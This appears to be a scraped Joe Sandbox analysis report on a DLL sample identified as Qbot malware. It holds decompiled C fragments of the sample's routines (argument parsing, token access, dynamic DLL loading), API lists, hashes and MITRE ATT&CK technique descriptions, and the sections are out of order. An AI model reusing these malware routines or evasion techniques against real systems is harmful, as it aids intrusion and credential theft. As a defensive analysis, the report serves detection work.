0x00f04e6f
0x00f04e71
0x00f04e71
0x00f04e74
0x00f04e76
0x00f04e79
0x00f04e81
0x00f04e84
0x00f04e89
0x00f04e89
0x00f04e8f
0x00f04e92
0x00f04e95
0x00f04e97
0x00f04e97
0x00f04e98
0x00f04e98
0x00f04ea3
0x00f04ea3
0x00f04ea3
0x00f04ea6
0x00f04ea9
0x00f04ea9
0x00f04eac
0x00f04eac
0x00f04e6f
0x00f04eaf
0x00f04eb2
0x00f04eb5
0x00f04eb7
0x00f04eba
0x00f04ebc
0x00f04ebf
0x00f04ec2
0x00f04ec4
0x00f04ec7
0x00f04ecf
0x00f04ed7
0x00f04eda
0x00f04eda
0x00f04eda
0x00f04edd
0x00f04edd
0x00f04edd
0x00f04ee0
0x00f04ee6
0x00f04ee8
0x00f04ee8
0x00f04eee
0x00f04ef4
0x00f04efd
0x00f04f04
0x00f04f06
0x00f04f09
0x00f04f09
0x00f04f0c
0x00f04f0c
0x00f04f0f
0x00f04f11
0x00f04f14
0x00f04f16
0x00f04f31
0x00f04f31
0x00f04f35
0x00f04f38
0x00f04f3b
0x00f04f3e
0x00f04f54
0x00f04f54
0x00f04f54
0x00f04f40
0x00f04f40
0x00f04f42
0x00f04f46
0x00f04f49
0x00000000
0x00f04f4b
0x00f04f4b
0x00f04f4d
0x00000000
0x00f04f4f
0x00f04f4f
0x00f04f4f
0x00f04f4d
0x00f04f49
0x00f04f58
0x00f04f5b
0x00f04f60
0x00f04f6a
0x00f04f6a
0x00f04f6a
0x00f04f6d
0x00f04f18
0x00f04f18
0x00f04f1a
0x00f04f21
0x00f04f21
0x00f04f23
0x00f04f25
0x00f04f27
0x00f04f2b
0x00f04f2d
0x00f04f2f
0x00000000
0x00000000
0x00f04f2f
0x00f04f2b
0x00f04f1c
0x00f04f1c
0x00f04f1f
0x00000000
0x00000000
0x00f04f1f
0x00f04f1a
0x00f04f77
0x00f04f79
0x00f04f79
0x00f04f84
0x00f04e27
0x00f04e27
0x00f04e2a
0x00000000
0x00f04e2c
0x00f04e2c
0x00f04e2e
0x00f04e32
0x00000000
0x00f04e34
0x00f04e34
0x00f04e34
0x00f04e37
0x00000000
0x00f04e3b
0x00f04e44
0x00f04e44
0x00f04e37
0x00f04e32
0x00f04e2a
0x00f04e16
0x00f04e1f
0x00f04e1f

APIs

memcpy.MSVCRT ref: 00F04CFD
memcpy.MSVCRT ref: 00F04D74
memcpy.MSVCRT ref: 00F04DA3
memcpy.MSVCRT ref: 00F04DCF
memcpy.MSVCRT ref: 00F04E84

Part of subcall function 00F07C10: memcpy.MSVCRT ref: 00F07CEE

Part of subcall function 00F06970: memcpy.MSVCRT ref: 00F0699A

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 191502db103371a6f119a6cb88a99b4b76512d4ffc08430b1812c3d1ec3f331a
Instruction ID: 2c03eb2f8491eaee449eec9c62c6acd5c234c6b79baca62bf33050516d7cccfd
Opcode Fuzzy Hash: 191502db103371a6f119a6cb88a99b4b76512d4ffc08430b1812c3d1ec3f331a
Instruction Fuzzy Hash: FDD115B5A006019FCB24CF6DD8C096AB7E1FF88314B24896DE98AC7781D731F945EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00EE209B Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a75496f1efb5c191d428df92e40a50d38fb096c5dc734c531708c1a65280a27
Instruction ID: f8113f0de1f68d51e83105965b97ab6c29e5e4fa76c8a38584eccaa85f8a45c6
Opcode Fuzzy Hash: 1a75496f1efb5c191d428df92e40a50d38fb096c5dc734c531708c1a65280a27
Instruction Fuzzy Hash: 8D31B33190118CAFDB24CF66C851AFE7B7EAB01304FA4614DE7017B241E2725F81E750

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB947 Relevance: 6.1, APIs: 4, Instructions: 97
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00EFB947(intOrPtr __ecx) {
				int _v8;
				signed int _v12;
				intOrPtr _v16;
				short* _v140;
				intOrPtr _v144;
				short _v664;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				int _t40;
				signed int _t41;
				int _t44;
				signed int _t45;
				WCHAR* _t52;
				signed int _t54;
				short* _t55;
				void* _t56;

				_v8 = _v8 & 0x00000000;
				_v16 = __ecx;
				_t54 = 0;
				_t28 = CommandLineToArgvW(GetCommandLineW(),  &_v8);
				_t44 = _v8;
				_t41 = 0;
				_v12 = _t28;
				if(_t44 <= 0) {
					L22:
					_t29 = _t28 | 0xffffffff;
					__eflags = _t29;
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					_t52 =  *(_t28 + _t41 * 4);
					_t30 =  *_t52 & 0x0000ffff;
					if(_t30 != 0 && _t30 != 0xd && _t30 != 0xa && _t30 != 0x2d && _t30 != 0x2f && _t54 < 0x20) {
						 *(_t56 + _t54 * 4 - 0x8c) = _t52;
						_t40 = lstrlenW(_t52);
						_t45 = 0;
						if(_t40 <= 0) {
							L11:
							_t44 = _v8;
							_t54 = _t54 + 1;
							goto L12;
						} else {
							goto L8;
						}
						do {
							L8:
							if(_t52[_t45] == 0x2c) {
								_t52[_t45] = 0;
							}
							_t45 = _t45 + 1;
						} while (_t45 < _t40);
						goto L11;
					}
					L12:
					_t28 = _v12;
					_t41 = _t41 + 1;
				} while (_t41 < _t44);
				if(_t54 != 1) {
					if(__eflags <= 0) {
						goto L22;
					}
					_t55 = _v140;
					L17:
					if( *_t55 == 0x5c ||  *((short*)(_t55 + 2)) == 0x3a) {
						E00EFC145(_v16, _t55, 0x104);
					} else {
						GetCurrentDirectoryW(0x104,  &_v664);
						_push(0);
						_push(_t55);
						_push("\\");
						_v12 = E00EF9924( &_v664);
						E00EFC145(_v16, _t36, 0x104);
						E00EF913B( &_v12, 0xfffffffe);
					}
					return 0;
				}
				_t55 = _v144;
				goto L17;
			}

0x00efb950
0x00efb957
0x00efb95a
0x00efb967
0x00efb96d
0x00efb970
0x00efb972
0x00efb977
0x00efba4e
0x00efba4e
0x00efba4e
0x00000000
0x00000000
0x00000000
0x00000000
0x00efb97d
0x00efb97d
0x00efb97d
0x00efb980
0x00efb986
0x00efb9a2
0x00efb9a9
0x00efb9af
0x00efb9b3
0x00efb9c7
0x00efb9c7
0x00efb9ca
0x00000000
0x00000000
0x00000000
0x00000000
0x00efb9b5
0x00efb9b5
0x00efb9ba
0x00efb9be
0x00efb9be
0x00efb9c2
0x00efb9c3
0x00000000
0x00efb9b5
0x00efb9cb
0x00efb9cb
0x00efb9ce
0x00efb9cf
0x00efb9d6
0x00efb9e0
0x00000000
0x00000000
0x00efb9e2
0x00efb9e8
0x00efb9ec
0x00efba44
0x00efb9f5
0x00efba02
0x00efba08
0x00efba0a
0x00efba11
0x00efba22
0x00efba25
0x00efba30
0x00efba35
0x00000000
0x00efba4a
0x00efb9d8
0x00000000

APIs

GetCommandLineW.KERNEL32(00000000,00000228,00000228), ref: 00EFB95C
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00EFB967
lstrlenW.KERNEL32(00000000), ref: 00EFB9A9
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00EFBA02

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: CommandLine$ArgvCurrentDirectorylstrlen
String ID:
API String ID: 159791187-0
Opcode ID: ff1392cb24d281052941a30cbb349482f47020ea566423f9901bb38c06cc2904
Instruction ID: 69c84377eccff769cda129309038e82d7d6a63a8e5faed192cb7aabaa5d41621
Opcode Fuzzy Hash: ff1392cb24d281052941a30cbb349482f47020ea566423f9901bb38c06cc2904
Instruction Fuzzy Hash: 6E31F675E0051EABDF289BA9C885ABDB3B8EF95314F209059DB41F3190EBB09D81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EFDB58 Relevance: 6.0, APIs: 4, Instructions: 33
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EFDB58(void* __ecx) {
				void* _v8;
				void* _t10;
				intOrPtr _t13;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0) {
					L4:
					_t10 = _v8;
				} else {
					if(GetLastError() != 0x3f0) {
						L3:
						_t10 = 0;
					} else {
						_t13 =  *0xf10fa0; // 0x494f8a0
						if(OpenProcessToken( *((intOrPtr*)(_t13 + 0x130))(), 8,  &_v8) != 0) {
							goto L4;
						} else {
							goto L3;
						}
					}
				}
				return _t10;
			}

0x00efdb77
0x00efdba9
0x00efdba9
0x00efdb79
0x00efdb84
0x00efdba5
0x00efdba5
0x00efdb86
0x00efdb90
0x00efdba3
0x00000000
0x00000000
0x00000000
0x00000000
0x00efdba3
0x00efdb84
0x00efdbae

APIs

GetCurrentThread.KERNEL32 ref: 00EFDB6B
OpenThreadToken.ADVAPI32(00000000,?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB72
GetLastError.KERNEL32(?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB79
OpenProcessToken.ADVAPI32(00000000,?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB9E

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: OpenThreadToken$CurrentErrorLastProcess
String ID:
API String ID: 1515895013-0
Opcode ID: 1956ef4ce1402b942eb41eb3ab7b210ef2c24e87b8bbb10c5d5b6fa84f183f87
Instruction ID: 5d372881cfed13f5720440ddfd433ce8f800a28530e54df8fb1d1a28330b2b95
Opcode Fuzzy Hash: 1956ef4ce1402b942eb41eb3ab7b210ef2c24e87b8bbb10c5d5b6fa84f183f87
Instruction Fuzzy Hash: EEF0307150420DAFDB10AFA4DD4DFEA77ECFB44314F154454F702E7050DA60AA41A711

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA222 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00EFA222(void* __ecx, void* __edx) {
				WCHAR* _v8;
				char _v12;
				char _v140;
				WCHAR* _t12;
				intOrPtr _t17;
				void* _t22;
				intOrPtr _t23;
				intOrPtr _t29;
				intOrPtr _t32;
				void* _t43;
				void* _t54;
				WCHAR* _t55;
				char* _t56;
				WCHAR* _t57;
				intOrPtr _t58;
				char _t60;
				struct HINSTANCE__* _t61;

				_t43 = 0;
				_t12 = E00EF90EA(__ecx, 0x152a);
				_t58 =  *0xf10fd8; // 0x494fc50
				_t55 = _t12;
				_t59 = _t58 + 0xb0;
				_v8 = _t55;
				E00EFC08E( &_v140, 0x40, L"%08x", E00EFE605(_t59, E00EFCE25(_t58 + 0xb0), 0));
				_t17 =  *0xf10fd8; // 0x494fc50
				_t3 = _t17 + 0xa8; // 0x1
				asm("sbb eax, eax");
				_t22 = E00EF90EA(_t59, ( ~( *_t3) & 0x000010d8) + 0x2f7);
				_t56 = "\\";
				_t23 =  *0xf10fd8; // 0x494fc50
				_t60 = E00EF9924(_t23 + 0x1020);
				_v12 = _t60;
				E00EF9D66( &_v8);
				_t29 =  *0xf10fd8; // 0x494fc50
				_t57 = E00EF9924(_t29 + 0x122a);
				_t32 =  *0xf10fa0; // 0x494f8a0
				_v8 = _t57;
				 *((intOrPtr*)(_t32 + 0x120))(_t60, _t57, 0, _t56,  &_v140, ".", L"dll", 0, _t56, _t22, _t56, _t55, 0);
				_t61 = LoadLibraryW(_t57);
				if(_t61 != 0) {
					_push(_t61);
					_t54 = 0x3c;
					_t43 = E00EF9446(0xf0d9bc, _t54);
				}
				E00EF913B( &_v12, 0xfffffffe);
				E00EF92A2( &_v140, 0, 0x80);
				if(_t43 != 0) {
					 *0xf110ac = _t61;
					 *0xf110b4 = _t57;
				} else {
					E00EF913B( &_v8, 0xfffffffe);
				}
				return _t43;
			}

0x00efa233
0x00efa235
0x00efa23a
0x00efa240
0x00efa243
0x00efa249
0x00efa26c
0x00efa271
0x00efa276
0x00efa27e
0x00efa28b
0x00efa292
0x00efa299
0x00efa2aa
0x00efa2b0
0x00efa2b3
0x00efa2ca
0x00efa2de
0x00efa2e0
0x00efa2e5
0x00efa2eb
0x00efa2f8
0x00efa2fc
0x00efa2fe
0x00efa301
0x00efa30d
0x00efa30d
0x00efa315
0x00efa328
0x00efa332
0x00efa343
0x00efa349
0x00efa334
0x00efa33a
0x00efa340
0x00efa355

APIs

Part of subcall function 00EFC08E: _vsnwprintf.MSVCRT ref: 00EFC0AB

Part of subcall function 00EF9924: lstrcatW.KERNEL32(00000000,?), ref: 00EF9963

LoadLibraryW.KERNEL32(00000000), ref: 00EFA2F2

Strings

dll, xrefs: 00EFA2B9
%08x, xrefs: 00EFA25E

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: LibraryLoad_vsnwprintflstrcat
String ID: %08x$dll
API String ID: 1445519121-2963171978
Opcode ID: df1bd22293f2ac1b29fd2a8734182da4d7edb9f99786717857ef3b9df48923a5
Instruction ID: 1b651728bfc360f2e04ad3e82e6c558db43dfbc0a333d3f0e7a64c6f58b11fce
Opcode Fuzzy Hash: df1bd22293f2ac1b29fd2a8734182da4d7edb9f99786717857ef3b9df48923a5
Instruction Fuzzy Hash: B031C4B2A0021CBBD720A7A59C46FEF36ECEB88710F159075F244F72C2EE7489459761

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report photographed.dat.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Qbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1c1229dd\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1dd23bb0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_34d063e1f8b4a0a973e2832d9ca94882ab2137_82810a17_1de23ba0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_13262a0c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_14da29be\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1bd22a0c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1d0a3a87\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fce87c8f307b30dca7c45f44ed2a364c18519efd_82810a17_1d123b42\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14BF.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15E9.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1657.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20E4.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2337.tmp.WERInternalMetadata.xml

Windows Analysis Report
photographed.dat.dll

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre